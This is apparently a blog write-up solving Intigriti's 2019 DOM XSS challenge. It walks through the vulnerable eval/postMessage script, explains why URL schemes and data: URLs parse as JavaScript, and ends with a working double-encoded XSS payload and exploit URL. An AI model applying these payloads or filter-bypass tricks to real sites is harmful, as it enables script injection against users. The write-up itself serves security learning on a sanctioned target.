24 May 2019 / 5 minutes of reading
Intigriti published a DOM XSS Challenge available at Intigriti's bug bounty platform. The assignment was to exploit a DOM XSS vulnerability on this page and to trigger a pop up of the document.domain
(challenge.intigriti.io).
The target page is a simple HTML containing following JS script:
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
The code is very short, after first lookup there is:
document.location.hash.substr(1)
(it is a "source" - user input)iframe
is created -> document.body.appendChild(iframe)
message
event listener window.addEventListener("message", executeCtx, false);
and handler implementation function executeCtx(e)
eval(url)
(it is a "sink")Let's analyze it deeper. First, look at the "source":
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
This part does the following:
document.location.hash.substr(1)
https://challenge.intigriti.io#FRAGMENT_DATA
-> FRAGMENT_DATA
decodeURIComponent
URL
objecthttps://example.com
, data:text/html,content
script
, <
and >
characters by a forbidden
string%253Csvg onload=alert()%253E
-> %3Csvg onload=alert()%3E
. Because there were no forbidden characters identified.Second line:
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe
and passes fragment data into iframe.src
iframe
Rest of the script implements listener and handler function:
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
It does the following:
message
event listener for the iframe
Window
objects (doc)iframe
using a postMessage
function e.g. window.postMessage({'key': 'value'}, '*')
executeCtx(e)
iframe.contentWindow
{}
url
or iframe.src
is passed to eval(url)
To successfully exploit this, we need to achieve that fragment data is a:
To execute the exploit we need to:
executeCtx
First, it is important to note that every URL scheme is a valid javascript code because it acts as a label. Label syntax is the following:
label :
statement
URL scheme looks like this:
https://example.com
It is a valid label with comment //
(source). Everything after is commented out. But if there is a possibility to inject newline \x0a
into payload, rest of the payload after new line character will be executed:
eval("https://example.com\x0aalert('scheme payload')")
Instead of new line injection, we can use a data URL scheme. The syntax is the following:
data:[<mediatype>][;base64],<data>
Let's check a text/html
data scheme from a javascript perspective:
data:text/html,<svg onload=alert()>
data
text
, html
/
,
<svg onload=alert()>
But it is possible to compose a valid javascript and URL scheme:
data:text/html,/*<svg onload=alert()>*/ 1; var text=1, html=2; alert('scheme payload');
There are:
/*<svg onload=alert()>*/
1
;
var text=1, html=2;
alert('scheme payload');
All that we need now is a message that would trigger the message event. This can be achieved using the postMessage
function. Handler function checks source of the message. It must be iframe
. To do this let's compose the payload:
data:text/html,/*<svg onload="parent.postMessage({},'*')">*/ 1; var text=1, html=2; alert(document.domain);
Commented code /*<svg onload="parent.postMessage({},'*')">*/
is a valid HTML loaded into iframe
. Code triggers (sends) empty message parent.postMessage({},'*')
. This message is handled by executeCtx
. All required conditions are met:
iframe
eval(url)
and executedTo put it together, the payload must be double URL encoded due to the sanitizing routine. Final payload looks like this:
data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
To run XSS open URL:
https://challenge.intigriti.io/#data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
After loading this URL a pop-up with "challenge.intigriti.io" is displayed.
All news